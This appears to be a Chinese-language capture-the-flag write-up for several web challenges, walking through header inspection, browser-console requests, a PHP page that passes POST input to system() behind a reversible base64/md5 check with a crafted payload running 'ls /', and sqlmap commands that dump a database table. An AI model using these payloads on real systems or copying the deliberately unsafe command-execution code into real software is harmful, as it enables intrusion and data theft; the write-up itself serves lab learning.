headach3
签到题,查看头就可以找到flag
会赢吗
信息搜集:查看源码得到第一部分flag和下一关的路径
第二关要求在控制台传参,这里带点脑洞,要传的参数就是关卡的名称4cqu1siti0n
async function revealFlag(className) {
try {
const url = `/api/flag/${className}`;
console.log(`Sending request to: ${url}`);
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
console.log(`Response status: ${response.status}`);
if (response.ok) {
const data = await response.json();
console.log(`${data.flag} ${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}
revealFlag('4cqu1siti0n'); // 尝试使用有效的类名
传入后可以得到第二段flag,以及第三关的路径s34l,由于这沟糟的环境就会出现奇奇怪怪的问题,所以往往得尝试好几次才可以。
这一关得先让五条悟解封,才可以,同样在控制台传参
document.getElementById('state').textContent = '解封';
然后再点击解封,得到第三段flag和下一关路径
这一关比较简单,把JS关掉即可
chrome://settings/content/javascript 在谷歌输入这个路径即可禁用js
成功得到最后一段flag
智械危机
查看robots协议看到题目路径
<?php
function execute_cmd($cmd) {
system($cmd);
}
function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}
if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>
做题思路
key这个参数,进行了一次base64解密
cmd这个参数,先进行了一次翻转,再进行一次md5加密,然后进行判断,如果这个进行翻转再md5加密的字符不等于这个进行base64加密的key,就输出无效的钥匙,如果通过,会将cmd进行一次base64的解密。
然后你需要Post传入两个参数cmd和key
假设我的cmd是bHMgLw==即(ls /),我需要先将这个翻转,再md5,
key=ZTk0ZDNmOWQyNzBmNTczNGMwZTYwNDY3ZDQ0ZTdkNDY=&cmd=bHMgLw==
顺着思路实现rce即可
谢谢皮蛋
sqlmap一把梭,要启用一个模块可以解码base64的 –tamper=base64encode.py,这样就可以直接一把梭了
然后就是常规的查库查表查列的操作
sqlmap -r 666.txt --tamper=base64encode.py --dbs
sqlmap -r 666.txt --tamper=base64encode.py -D ctf --tables
sqlmap -r 666.txt --tamper=base64encode.py -D ctf -T Fl4g --columns
sqlmap -r 666.txt --tamper=base64encode.py -D ctf -T Fl4g -Cvalue --dump